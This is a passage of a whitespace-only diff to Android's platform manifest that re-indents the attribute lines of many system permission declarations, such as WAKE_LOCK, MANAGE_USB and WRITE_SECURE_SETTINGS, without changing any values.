+        android:label="@string/permlab_vibrate"
+        android:description="@string/permdesc_vibrate"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
          from dimming.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WAKE_LOCK"
-                android:label="@string/permlab_wakeLock"
-                android:description="@string/permdesc_wakeLock"
-                android:protectionLevel="normal|ephemeral" />
+        android:label="@string/permlab_wakeLock"
+        android:description="@string/permdesc_wakeLock"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using the device's IR transmitter, if available.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.TRANSMIT_IR"
-                android:label="@string/permlab_transmitIr"
-                android:description="@string/permdesc_transmitIr"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_transmitIr"
+        android:description="@string/permdesc_transmitIr"
+        android:protectionLevel="normal" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing audio settings   -->
@@ -1473,9 +1473,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"
-                android:label="@string/permlab_modifyAudioSettings"
-                android:description="@string/permdesc_modifyAudioSettings"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_modifyAudioSettings"
+        android:description="@string/permdesc_modifyAudioSettings"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware -->
@@ -1485,83 +1485,83 @@
     <!-- @SystemApi Allows an application to manage preferences and permissions for USB devices
          @hide -->
     <permission android:name="android.permission.MANAGE_USB"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to access the MTP USB kernel driver.
          For use only by the device side MTP implementation.
          @hide -->
     <permission android:name="android.permission.ACCESS_MTP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to hardware peripherals.  Intended only for hardware testing.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.HARDWARE_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows access to FM
          @hide This is not a third-party API (intended for system apps).-->
     <permission android:name="android.permission.ACCESS_FM_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows access to configure network interfaces, configure/use IPSec, etc.
          @hide -->
     <permission android:name="android.permission.NET_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows registration for remote audio playback. @hide -->
     <permission android:name="android.permission.REMOTE_AUDIO_PLAYBACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows TvInputService to access underlying TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide This should only be used by OEM's TvInputService's.
     -->
     <permission android:name="android.permission.TV_INPUT_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows to capture a frame of TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.CAPTURE_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows TvInputService to access DVB device.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DVB_DEVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by carrier state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_CARRIER_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by user state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_USER_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading the OEM unlock state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows enabling/disabling OEM unlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OEM_UNLOCK_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows querying state of PersistentDataBlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_PDB_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows system update service to notify device owner about pending updates.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.NOTIFY_PENDING_SYSTEM_UPDATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with camera and image capture -->
@@ -1572,12 +1572,12 @@
          a camera is in use by an application.
          @hide -->
     <permission android:name="android.permission.CAMERA_DISABLE_TRANSMIT_LED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending the camera service notifications about system-wide events.
         @hide -->
     <permission android:name="android.permission.CAMERA_SEND_SYSTEM_EVENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with telephony state -->
@@ -1588,58 +1588,58 @@
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MODIFY_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows read only access to precise phone state.
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_SIM_SUBSCRIPTION. This capability indicates that the PhoneAccount
          corresponds to a device SIM.
          @hide -->
     <permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CALL_PROVIDER.
          @hide -->
     <permission android:name="android.permission.REGISTER_CALL_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CONNECTION_MANAGER
          @hide -->
     <permission android:name="android.permission.REGISTER_CONNECTION_MANAGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.InCallService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
          only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission
-            android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
-            android:protectionLevel="signature|privileged"/>
+      android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+      android:protectionLevel="signature|privileged"/>
 
     <!-- Must be required by a {@link android.telecom.CallScreeningService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_SCREENING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
@@ -1648,24 +1648,24 @@
          @SystemApi
          @hide -->
     <permission android:name="android.permission.BIND_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to control the in-call experience.
          @hide -->
     <permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to receive STK related commands.
          @hide -->
     <permission android:name="android.permission.RECEIVE_STK_COMMANDS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by an ImsService to ensure that only the
          system can bind to it.
@@ -1674,7 +1674,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_IMS_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
 
     <!-- ================================== -->
@@ -1685,7 +1685,7 @@
     <!-- @SystemApi Allows an application to write to internal media storage
          @hide  -->
     <permission android:name="android.permission.WRITE_MEDIA_STORAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage access to documents, usually as part
          of a document picker.
@@ -1695,21 +1695,21 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.MANAGE_DOCUMENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to cache content.
          <p>Not for use by third-party applications.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.CACHE_CONTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide
          Allows an application to aggressively allocate disk space.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.ALLOCATE_AGGRESSIVE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for screenlock         -->
@@ -1720,9 +1720,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.DISABLE_KEYGUARD"
-                android:description="@string/permdesc_disableKeyguard"
-                android:label="@string/permlab_disableKeyguard"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_disableKeyguard"
+        android:label="@string/permlab_disableKeyguard"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions to access other installed applications  -->
@@ -1731,9 +1731,9 @@
 
     <!-- @deprecated No longer enforced. -->
     <permission android:name="android.permission.GET_TASKS"
-                android:label="@string/permlab_getTasks"
-                android:description="@string/permdesc_getTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getTasks"
+        android:description="@string/permdesc_getTasks"
+        android:protectionLevel="normal" />
 
     <!-- New version of GET_TASKS that apps can request, since GET_TASKS doesn't really
          give access to task information.  We need this new one because there are
@@ -1746,32 +1746,32 @@
          @hide
          @SystemApi -->
     <permission android:name="android.permission.REAL_GET_TASKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
          @hide -->
     <permission android:name="android.permission.START_TASKS_FROM_RECENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
          across the users on the device, using singleton services and
          user-targeted broadcasts.  This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Fuller form of {@link android.Manifest.permission#INTERACT_ACROSS_USERS}
          that removes restrictions on where broadcasts can be sent and allows other
          types of interactions
          @hide -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.MANAGE_USERS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows an application to create, remove users and get the list of
          users on the device. Applications holding this permission can only create restricted,
@@ -1779,69 +1779,69 @@
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to set the profile owners and the device owner.
          This permission is not available to third party applications.-->
     <permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
-                android:protectionLevel="signature"
-                android:label="@string/permlab_manageProfileAndDeviceOwners"
-                android:description="@string/permdesc_manageProfileAndDeviceOwners" />
+        android:protectionLevel="signature"
+        android:label="@string/permlab_manageProfileAndDeviceOwners"
+        android:description="@string/permdesc_manageProfileAndDeviceOwners" />
 
     <!-- Allows an application to get full detailed information about
          recently running tasks, with full fidelity to the real state.
          @hide -->
     <permission android:name="android.permission.GET_DETAILED_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to change the Z-order of tasks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.REORDER_TASKS"
-                android:label="@string/permlab_reorderTasks"
-                android:description="@string/permdesc_reorderTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_reorderTasks"
+        android:description="@string/permdesc_reorderTasks"
+        android:protectionLevel="normal" />
 
     <!-- @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start any activity, regardless of permission
          protection or exported state.
          @hide -->
     <permission android:name="android.permission.START_ANY_ACTIVITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
         API is no longer supported. -->
     <permission android:name="android.permission.RESTART_PACKAGES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to call
         {@link android.app.ActivityManager#killBackgroundProcesses}.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows an application to query process states and current
          OOM adjustment scores.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows use of PendingIntent.getIntent().
          @hide -->
     <permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the display of other applications  -->
@@ -1864,26 +1864,26 @@
          Settings.canDrawOverlays()}.
          <p>Protection level: signature -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
-                android:label="@string/permlab_systemAlertWindow"
-                android:description="@string/permdesc_systemAlertWindow"
-                android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:label="@string/permlab_systemAlertWindow"
+        android:description="@string/permdesc_systemAlertWindow"
+        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
     -->
     <permission android:name="android.permission.RUN_IN_BACKGROUND"
-                android:label="@string/permlab_runInBackground"
-                android:description="@string/permdesc_runInBackground"
-                android:protectionLevel="signature" />
+        android:label="@string/permlab_runInBackground"
+        android:description="@string/permdesc_runInBackground"
+        android:protectionLevel="signature" />
 
     <!-- @deprecated Use
         {@link android.Manifest.permission#REQUEST_COMPANION_USE_DATA_IN_BACKGROUND}
          @hide
     -->
     <permission android:name="android.permission.USE_DATA_IN_BACKGROUND"
-                android:label="@string/permlab_useDataInBackground"
-                android:description="@string/permdesc_useDataInBackground"
-                android:protectionLevel="signature" />
+        android:label="@string/permlab_useDataInBackground"
+        android:description="@string/permdesc_useDataInBackground"
+        android:protectionLevel="signature" />
 
     <!-- Allows a companion app to run in the background.
          <p>Protection level: normal
@@ -1911,17 +1911,17 @@
          <p>Protection level: normal
      -->
     <permission android:name="android.permission.SET_WALLPAPER"
-                android:label="@string/permlab_setWallpaper"
-                android:description="@string/permdesc_setWallpaper"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaper"
+        android:description="@string/permdesc_setWallpaper"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to set the wallpaper hints.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.SET_WALLPAPER_HINTS"
-                android:label="@string/permlab_setWallpaperHints"
-                android:description="@string/permdesc_setWallpaperHints"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaperHints"
+        android:description="@string/permdesc_setWallpaperHints"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for changing the system clock -->
@@ -1931,15 +1931,15 @@
     <!-- @SystemApi Allows applications to set the system time.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_TIME"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to set the system time zone.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.SET_TIME_ZONE"
-                android:label="@string/permlab_setTimeZone"
-                android:description="@string/permdesc_setTimeZone"
-                android:protectionLevel="signature|privileged" />
+        android:label="@string/permlab_setTimeZone"
+        android:description="@string/permdesc_setTimeZone"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing status bar   -->
@@ -1950,9 +1950,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.EXPAND_STATUS_BAR"
-                android:label="@string/permlab_expandStatusBar"
-                android:description="@string/permdesc_expandStatusBar"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_expandStatusBar"
+        android:description="@string/permdesc_expandStatusBar"
+        android:protectionLevel="normal" />
 
     <!-- ============================================================== -->
     <!-- Permissions related to adding/removing shortcuts from Launcher -->
@@ -1963,16 +1963,16 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"
-                android:label="@string/permlab_install_shortcut"
-                android:description="@string/permdesc_install_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_install_shortcut"
+        android:description="@string/permdesc_install_shortcut"
+        android:protectionLevel="normal"/>
 
     <!--This permission is no longer supported.
     -->
     <permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"
-                android:label="@string/permlab_uninstall_shortcut"
-                android:description="@string/permdesc_uninstall_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_uninstall_shortcut"
+        android:description="@string/permdesc_uninstall_shortcut"
+        android:protectionLevel="normal"/>
 
     <!-- ==================================================== -->
     <!-- Permissions related to accessing sync settings   -->
@@ -1983,25 +1983,25 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_SETTINGS"
-                android:description="@string/permdesc_readSyncSettings"
-                android:label="@string/permlab_readSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncSettings"
+        android:label="@string/permlab_readSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to write the sync settings.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WRITE_SYNC_SETTINGS"
-                android:description="@string/permdesc_writeSyncSettings"
-                android:label="@string/permlab_writeSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_writeSyncSettings"
+        android:label="@string/permlab_writeSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to read the sync stats.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_STATS"
-                android:description="@string/permdesc_readSyncStats"
-                android:label="@string/permlab_readSyncStats"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncStats"
+        android:label="@string/permlab_readSyncStats"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for low-level system interaction -->
@@ -2010,12 +2010,12 @@
 
     <!-- @SystemApi @hide Change the screen compatibility mode of applications -->
     <permission android:name="android.permission.SET_SCREEN_COMPATIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to modify the current configuration, such
          as locale. -->
     <permission android:name="android.permission.CHANGE_CONFIGURATION"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows an application to read or write the system settings.
 
@@ -2030,51 +2030,51 @@
         <p>Protection level: signature
     -->
     <permission android:name="android.permission.WRITE_SETTINGS"
-                android:label="@string/permlab_writeSettings"
-                android:description="@string/permdesc_writeSettings"
-                android:protectionLevel="signature|preinstalled|appop|pre23" />
+        android:label="@string/permlab_writeSettings"
+        android:description="@string/permdesc_writeSettings"
+        android:protectionLevel="signature|preinstalled|appop|pre23" />
 
     <!-- @SystemApi Allows an application to modify the Google service map.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_GSERVICES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call
         {@link android.app.ActivityManager#forceStopPackage}.
         @hide -->
     <permission android:name="android.permission.FORCE_STOP_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to retrieve the content of the active window
          An active window is the window that has fired an accessibility event. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_CONTENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Modify the global animation scaling factor.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ANIMATION_SCALE"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @deprecated This functionality will be removed in the future; please do
          not use. Allow an application to make its activities persistent. -->
     <permission android:name="android.permission.PERSISTENT_ACTIVITY"
-                android:label="@string/permlab_persistentActivity"
-                android:description="@string/permdesc_persistentActivity"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_persistentActivity"
+        android:description="@string/permdesc_persistentActivity"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to find out the space used by any package.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.GET_PACKAGE_SIZE"
-                android:label="@string/permlab_getPackageSize"
-                android:description="@string/permdesc_getPackageSize"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getPackageSize"
+        android:description="@string/permdesc_getPackageSize"
+        android:protectionLevel="normal" />
 
     <!-- @deprecated No longer useful, see
          {@link android.content.pm.PackageManager#addPackageToPreferred}
          for details. -->
     <permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"
-                android:protectionLevel="signature|verifier" />
+        android:protectionLevel="signature|verifier" />
 
     <!-- Allows an application to receive the
          {@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
@@ -2090,9 +2090,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"
-                android:label="@string/permlab_receiveBootCompleted"
-                android:description="@string/permdesc_receiveBootCompleted"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_receiveBootCompleted"
+        android:description="@string/permdesc_receiveBootCompleted"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to broadcast sticky intents.  These are
          broadcasts whose data is held by the system after being finished,
@@ -2101,90 +2101,90 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BROADCAST_STICKY"
-                android:label="@string/permlab_broadcastSticky"
-                android:description="@string/permdesc_broadcastSticky"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_broadcastSticky"
+        android:description="@string/permdesc_broadcastSticky"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows mounting and unmounting file systems for removable storage.
     <p>Not for use by third-party applications.-->
     <permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows formatting file systems for removable storage.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.STORAGE_INTERNAL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows access to ASEC non-destructive API calls
          @hide  -->
     <permission android:name="android.permission.ASEC_ACCESS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows creation of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_CREATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows destruction of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_DESTROY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows mount / unmount of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_MOUNT_UNMOUNT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows rename of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_RENAME"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to write the apn settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_APN_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change network connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_NETWORK_STATE"
-                android:description="@string/permdesc_changeNetworkState"
-                android:label="@string/permlab_changeNetworkState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeNetworkState"
+        android:label="@string/permlab_changeNetworkState"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to clear the caches of all installed
          applications on the device.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.CLEAR_APP_CACHE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use any media decoder when decoding for playback
          @hide -->
     <permission android:name="android.permission.ALLOW_ANY_CODEC_FOR_PLAYBACK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to install and/or uninstall CA certificates on
          behalf of the user.
          @hide -->
     <permission android:name="android.permission.MANAGE_CA_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to do certain operations needed for
          interacting with the recovery (system update) system.
          @hide -->
     <permission android:name="android.permission.RECOVERY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
     <permission android:name="android.permission.BIND_JOB_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_JOB_SERVICE"/>
 
     <!-- Allows an application to initiate configuration updates
@@ -2193,24 +2193,24 @@
          it off to the various individual installer components
          @hide -->
     <permission android:name="android.permission.UPDATE_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to reset throttling in shortcut manager.
          @hide -->
     <permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows the system to bind to the discovered Network Recommendation Service.
          @SystemApi @hide -->
     <permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"/>
 
     <!-- Allows an application to enable, disable and change priority of
          runtime resource overlays.
          @hide -->
     <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
@@ -2220,40 +2220,40 @@
     <!-- @SystemApi Allows an application to read or write the secure system settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_SECURE_SETTINGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
